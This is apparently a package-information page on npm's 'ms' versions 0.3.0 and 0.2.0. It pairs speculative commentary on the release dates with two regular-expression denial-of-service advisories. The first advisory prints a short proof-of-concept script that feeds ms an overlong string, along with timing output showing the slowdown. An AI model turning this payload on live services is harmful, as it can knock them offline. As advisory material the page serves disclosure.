The npm package ms provides a convenient and lightweight utility for converting various time representations into milliseconds. Examining versions 0.3.0 and 0.2.0 reveals subtle but important evolution. Both versions share the same core functionality and development dependencies – mocha for testing, serve potentially for local serving during development, and expect.js for assertions in tests, suggesting a continuous commitment to quality and a familiar development environment for contributors.
The subtle differences lie primarily in their release dates. Version 0.3.0 was published on September 7, 2012, a mere four days after version 0.2.0, released of September 3, 2012. While the provided data doesn't explicitly detail the code changes between these versions, the rapid succession suggests bug fixes, performance enhancements, or minor feature additions that didn't warrant a major version bump.
For developers considering using ms, this information is crucial. The existence of version 0.3.0, released so soon after 0.2.0, implies an active early development phase and demonstrates responsiveness to immediate issues. When choosing a ms version, opting for the latest stable release (check the npm registry for the currently latest stable version) is generally advisable, especially for the fixing of potential early stages' bugs. However, analyzing the changelogs can provide precise insights into the specific changes introduced in version 0.3.0 if older versions are considered. ms simplifies time manipulations within JavaScript applications, enhancing code readability and maintainability, and the commitment to improvement evident in these early versions makes it a reliable choice.
All the vulnerabilities related to the version 0.3.0 of the package
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.